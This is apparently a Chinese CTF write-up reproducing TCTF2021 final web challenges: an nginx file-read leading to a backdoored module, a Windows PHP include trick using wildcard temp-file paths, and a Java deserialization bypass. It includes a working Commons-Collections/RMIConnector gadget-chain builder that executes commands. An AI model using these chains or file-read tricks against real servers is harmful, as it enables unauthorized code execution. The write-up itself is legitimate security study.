0%

[TCTF2021 final]复现

[TCTF2021 final]复现

作为垃圾选手在TCTF qual中被暴打,居然还能被邀请参加决赛,谢谢腾讯给我一个机会,被打的很惨,有机会的话明年还想来挨打。web一题没出,完全不会,赛后环境也急速关闭跑路了,只能根据附件和wp进行复现尝试

eeeenginx

唯一做出来的一个题,还是个misc。。。
给了一个nginx搭建的服务,有一个任意文件下载。
乱翻是翻不到东西的,尝试读cmdline,读/proc/self/cmdline只读到是nginx的work进程,没用。再次复习老国王的读proc之术
先读/sys/fs/cgroup/systemd/tasks,能拿到所有的进程号,就能用/proc/pid/cmdline来看有什么内容了,看了一下,一号进程是nginx主进程,剩下的全是子进程,但是主进程中的cmdline是这样的

nginx: master process
/usr/local/openresty/nginx/sbin/nginx -p /work/ -c conf/nginx.conf -g daemon off;

没用仔细研究过nginx命令行,但是这个work看起来就很像是工作目录之类的东西,直接读/work/conf/nginx.conf拿到配置文件。然后配置文件里写功能是lua脚本实现的,读lua脚本,也读不到什么东西,就是个正常的输入文件名,然后返回对应文件,搜了搜对应函数和功能,似乎也没有什么漏洞。
读了一波error.log,想从之前做出来的人手中获得些什么,没翻到什么有用的,老国王直接从哪翻出来了整个access.log。。。error log是直接配置在了当前目录下的log/error.log下的,不知道access.log是在哪,当时没试现在环境没了,/usr/local/nginx/logs/access.log?还是也就在log下?或者/usr/local/openresty/nginx/logs/access.log?
然后我们翻着翻着,翻到了有意思的东西
突然出现了一句/opt/module/ngx_http_eeenginx.c一个nginx扩展模块?(我现在都不知道是从哪找到的nginx的扩展模块配置)读下来发现里面直接有一个shell功能,直接执行readflag,在提交的某个cookie为特定值时触发。有意思的是那个文件里还附带了这个恶意模块的作者。。。去GitHub上还真能搜到,并且仓库里的代码就和题目的别无二致,因为命令执行时是直接把标准输入输出给连到当前会话上了,所以要nc上去通信,因此作者还自己写了个客户端。。。用python发包也行,也能拿到错误信息,就是flag,而burp就因为收到的不是http包啥都不显示。
pwnginx

win-win

恐怕是唯一一个能被我理解的题目了。。。代码至善至美,又是经典1 line php(其实有三行),代码大概就是这个样子
<?php highlight_file(__FILE__);readfile($_GET['win']);include __DIR__.$_GET['win'];

给了一个白的无过滤include,hint中说关了upload progress。
先用新学的pearcmd打一波。无反应,那就读一个/etc/passwd,读不到。试了半天只能读index.php,没有phpinfo,我一度怀疑上了个无敌的open basedir。试了试远程读取,应该开了allow url fopen,拼了目录,就算开了allow url include也没用,并且如果开了无敌的open basedir的话,没法打,于是乱按按出来了一个404报错,给我来了一句Apache(Win32)(还是win64来着,记不清了),还附带了一个openssl版本,看起来不是一般的Apache,起码告诉我这是一个windows机器了。。
那么windows读什么?windows下/etc/passwd的等效替代品是C:/windows/win.ini,读到这个文件先确认任意文件读

然后不会了,试着去猜了猜php.ini和httd.conf的路径,都猜不到,那就不知道接下来怎么打了

wp环节

似乎还有很多解,不过都深入到了winapi这种超级底层,以及一个非常关键的windows下文件名通配符
这个东西我以前还写过。。。但是完全没记住呢,赛后rmb神仙和我提起我才想起来。。。又进行了额外的测试

ROIS解

ROIS用的是\\.\C:这样子的一个方式,windows下的特殊规则\\.\X:可以访问到X这个盘符,据他们所言这个操作能拿到整个C盘(那不是有几十个G?)然后他们就拿到了PHP上传文件时的默认路径,然后使用了windows下的文件通配符,直接包含文件上传时PHP产生的临时文件
这个方法我稍微试验了一下,访问这个C盘需要对C盘下所有文件夹及文件拥有权限,也就是得开administrator这个号,所以一般情况下这个方式也并不实用

NeSE解

类似,但是听起来更预期一些,我在比赛的时候就用相对目录确认了index.php是在C:/xxx/index.php目录下的,因为跳一层目录后可以读到win.ini。
但是那个时候没想起来可以利用windows文件通配符进行目录猜解,这里只有一层目录未知,是可以猜解出来路径名为C:/htdocs/index.php,不过我估计我猜解出这个目录也没什么用。。。并且据说神仙直接从404的报错中就猜出来了这个服务是用XAMPP安装的(我完全不知道怎么看出来的,就因为报错里多了个openssl的版本吗)
总之,htdocs是XAMPP安装时web根目录的名字,但是这里他改了httpd.conf,所以根目录的位置变了,但是安装一个XAMPP的话能知道里面的文件名和路径都是固定的,可以以此来爆破XAMPP的安装路径(当然需要安装路径也只有一个深度),获取到XAMPP路径后php.ini,Apache配置文件各种东西随便读,当然也是读到PHP放上传文件的临时目录,再用通配符进行匹配包含

顺便记一下可以看的一些乱七八糟文件
C:\Windows\debug\NetSetup.log
C:\Windows\Logs\DISM\dism.log

Nu1l解

不知道是什么,听说是webdav整出readfile缓存?
不会,但是找到了一个新玩具,procmon,可以监控文件系统之类的,下次玩一下
先咕,想起来了再复现

BuggyLoader

这个题刚看到我就想起来以前zsx写的一篇shiro classloader导致cc 3.1的链打不通的文章,也确实就是这么个东西,不过由于我是超级java废物所以不会,赛后才开始慢慢的复现
题目的依赖中有common-collection3.1,反序列化的ObjectInputStream是自己实现的,如下

package com.yxxx.buggyLoader;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.net.URL;
import java.net.URLClassLoader;
import org.apache.commons.collections.Transformer;

public class MyObjectInputStream extends ObjectInputStream {
    private ClassLoader classLoader;

    public MyObjectInputStream(InputStream inputStream) throws Exception {
        super(inputStream);
        URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
        this.classLoader = new URLClassLoader(urls);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        Class clazz = this.classLoader.loadClass(desc.getName());
        return clazz;
    }
}

自己定义了一个ObjectInputStream,然后重写了resolveClass方法,用的classLoader的loadClass,而不是Class.forName
关于shiro的classloader的实现bug问题有很多相关链接,这里放几个,不过赛时由于没有自己动手调过,对这些文章的理解不太深刻,看了半天看不懂。。。。手动调了一个下午之后感觉又理解一些了呜呜
Pwn a CTF Platform with Java JRMP Gadget
强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考
shiro-1.2.4反序列化分析踩坑

整个问题的关键点就在orange文章中的那条评论里

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

也可以看这个Stack Overflow上的问题
Loading an array with a classloader

手动复制粘贴了他的代码进行调试,分别测试两个函数的结果

this.classLoader.loadClass(desc.getName());
Class.forName(desc.getName(), false, this.classLoader);

双亲委派 review

classLoader.loadClass进去先是经典的双亲委派模型,这里我都有点忘了是什么了,后来复习了一下,才想起来是先找是否已经加载此类,未加载则一直往上找找到最顶层classloader,再从顶层开始加载,加载不到再委托下级classloader加载,最终抛出classNotFound异常
这篇文章里面有个图
java双亲委派机制及作用

    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

经典双亲委派,先看有没有加载,自己没加载直接上去找父加载器有没有加载,每个classloader都是进这个函数,父加载器没有就进自己的findClass,如果找不到就抛出异常给下一级加载器catch

loadClass debug

因为这里在进resolveClass时,desc.getName得到的值是[Lorg.apache.commons.collections.Transformer;开头的[L和结尾的;表示这是一个数组,而在findClass中,他是这么找的

    protected Class<?> findClass(final String name)
        throws ClassNotFoundException
    {
        final Class<?> result;
        try {
            result = AccessController.doPrivileged(
                new PrivilegedExceptionAction<Class<?>>() {
                    public Class<?> run() throws ClassNotFoundException {
                        String path = name.replace('.', '/').concat(".class");
                        Resource res = ucp.getResource(path, false);
                        if (res != null) {
                            try {
                                return defineClass(name, res);
                            } catch (IOException e) {
                                throw new ClassNotFoundException(name, e);
                            }
                        } else {
                            return null;
                        }
                    }
                }, acc);
        } catch (java.security.PrivilegedActionException pae) {
            throw (ClassNotFoundException) pae.getException();
        }
        if (result == null) {
            throw new ClassNotFoundException(name);
        }
        return result;
    }

并没有对传入的类类名是带有数组标记进行额外的处理,对path只是进行了简单的替换
String path = name.replace('.', '/').concat(".class");
那么得到的的路径就非常的垃圾
[Lorg/apache/commons/collections/Transformer;.class
显然,这样子的路径是无法加载到类的

Class.forName debug

那么用Class.forName呢?
直接进forName函数,在forName的最后返回了这个
return forName0(name, initialize, loader, caller);
name还是带[L的类名,loader是我们传入的URLClassloader。
跟进该方法,结果发现这是个native方法,看不到内容,直接给我跳到了URLClassloader的loadClass方法中,但此时的类名已经被处理掉了,变成了正常的类名,去除了数组标记
然后就进入了之前使用的classloader.loadClass函数

可以看出来,使用Class.forName进行类加载时,会有一个native方法对类名的修饰符进行修改,使其为一个正常的类完全限定名,而后才交给loadClass方法进行加载,而这里直接写了个loadClass,导致了最终得到了奇怪的路径,导致加载失败
所以orange下面的那句评论可以说是非常关键了。当然,shiro的加载失败情况更为复杂,这里不在赘述了,上述链接中给出了很多内容

失败的尝试

这里的问题就在于,使用了这个buggy classloader后,cc链常用的payload中,transformer数组的方法就打不通了。orange也在文章中提到了新的打法,用不带数组的payload去打,比如JRMPListener,但是题目又给服务套了一层内网环境,用URLDNS打了一下发现机器不通外网。因此该方案同样无效

首先是拿自带数组的经典CC5打了一遍,不过打起来的时候报错是StackTraceElement这个类找不到,而不是后面的Transformer数组

java大师tr1ple发了我一份他写的templateImpl的payload,是直接把templateImpl作为TiedMapEntry的key,Transformer只放一个InvokerTransformer触发,这个乍一看是没有用到数组的,但是同样也是用BadAttributeValueExpException这个类触发的,而其继承自Exception继承自Throwable,而StackTraceElement[]就是Throwable中的一个成员变量。
不过这次运行的错误并不一致,调试之后发现StackTraceElement虽然加载没有成功,但是抛出的错误被catch住了,而ois会继续跑下去。
之后会去加载templateImpl类,并且会调用到templateImpl的readObject,在这里面会用buggyloader去加载其_bytes属性,而该属性是一个二维数组,同样无法被加载
同样,在抛出错误后被catch并继续ois流的读取,接下来会读到一个[B的描述符并进行加载,此时会直接读到错误的数据,抛出一个StreamCorruptedException,而该错误没有catch直接就程序终止了
目前暂未找到为什么templateImpl在加载过程中对ClassNotFound全都不管,最后是出现了流的数据乱掉了抛出的错误,而CC链则直接抛出了ClassNotFound

学习完CC链后的更新
使用CC6的链去触发,TiedMapEntry+InvokerTransformer可以做到对任意类的public方法的调用,而CC6的HashSet就没有自带的数组,是不是能搞定?
结果还是不行。。。呜呜呜,报错还是流乱了,可能是真的byte[][]也不能加载吧

题解

正解翻到了一个触发二次反序列化的点,使用的是RMIConnector这个类,其有一个public方法connect,其中调用findRMIServer方法,该方法通过给定的url去加载一个RMI的stub

    private RMIServer findRMIServer(JMXServiceURL directoryURL,
            Map<String, Object> environment)
            throws NamingException, IOException {
        final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
        if (isIiop) {
            // Make sure java.naming.corba.orb is in the Map.
            environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
        }

        String path = directoryURL.getURLPath();
        int end = path.indexOf(';');
        if (end < 0) end = path.length();
        if (path.startsWith("/jndi/"))
            return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
        else if (path.startsWith("/stub/"))
            return findRMIServerJRMP(path.substring(6,end), environment, isIiop);
        else if (path.startsWith("/ior/")) {
            if (!IIOPHelper.isAvailable())
                throw new IOException("iiop protocol not available");
            return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
        } else {
            final String msg = "URL path must begin with /jndi/ or /stub/ " +
                    "or /ior/: " + path;
            throw new MalformedURLException(msg);
        }
    }

而在使用协议为stub时,调用findRMIServerJRMP方法,而该方法对输入数据直接进行了反序列化

    private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
        throws IOException {
        // could forbid "iiop:" URL here -- but do we need to?
        final byte[] serialized;
        try {
            serialized = base64ToByteArray(base64);
        } catch (IllegalArgumentException e) {
            throw new MalformedURLException("Bad BASE64 encoding: " +
                    e.getMessage());
        }
        final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

        final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
        final ObjectInputStream oin =
                (loader == null) ?
                    new ObjectInputStream(bin) :
                    new ObjectInputStreamWithLoader(bin, loader);
        final Object stub;
        try {
            stub = oin.readObject();
        } catch (ClassNotFoundException e) {
            throw new MalformedURLException("Class not found: " + e);
        }
        return (RMIServer)stub;
    }

至于这个类怎么被找出来的,就只有问神仙了。。。。

可以看到这个方法中使用的ois并非之前环境上下文中的buggyois,而是自己重新加载了一个新的ois,因此能绕过错误的classloader实现,再把一般情况下能打通的payload进行反序列化

正常情况下可以打通的payload即为templateImpl,由于机器不出外网,将templateImpl的payload修改为tomcat获取response对象回显的payload

这里直接抄wp的代码

    public static Object getRMIConnector(final String command) throws Exception {
        Constructor con = InvokerTransformer.class.getDeclaredConstructor(String.class);
        con.setAccessible(true);
        // need a public method
        InvokerTransformer transformer = (InvokerTransformer) con.newInstance("connect");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(getTemplateImpl(command));
        byte[] payload = baos.toByteArray();
        BASE64Encoder base64 = new BASE64Encoder();
        String result = base64.encode(payload).replaceAll("\r\n", "");
        JMXServiceURL jurl = new JMXServiceURL("service:jmx:rmi:///stub/"+result);
        Map hashMapp = new HashMap();
        RMIConnector rc = new RMIConnector(jurl,hashMapp);

        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rc);


        HashSet hashSet = new HashSet(1);
        hashSet.add("c014");
        Field fmap = hashSet.getClass().getDeclaredField("map");
        fmap.setAccessible(true);
        HashMap innimpl = (HashMap) fmap.get(hashSet);
        Field ftable = hashMap.getClass().getDeclaredField("table");
        ftable.setAccessible(true);
        Object[] nodes =(Object[])ftable.get(innimpl);
        Object node = nodes[1];
        Field fnode = node.getClass().getDeclaredField("key");
        fnode.setAccessible(true);
        fnode.set(node, tiedMapEntry);

        return hashSet;
    }

这里额外讲一下这个JMXServiceURL("service:jmx:rmi:///stub/"+result);,wp中的url为service:jmx:rmi://host:port/stub/payload
而我们知道内网机器并不出网,因此host和port理论上是没有用的,而在host和port本身不存在的情况下还能使用,这就有点奇怪,为此专门搜了一下这个协议是什么情况
JMXServiceURL使用说明
简单的说就是这个host和port在连接方是client的时候是完全没有用的,而是server的时候也没什么大用(所以为什么还要设计这个东西呢。。。)因此直接不填也没关系
而看到findRMIServer中的处理,其使用的path来自于String path = directoryURL.getURLPath();,而getURLPath()直接返回的就是port之后的全部内容,可以说是真的完全不看一眼前面是什么了。乱写也没事,就占个坑

神仙的wp
TCTF2021-final-writeup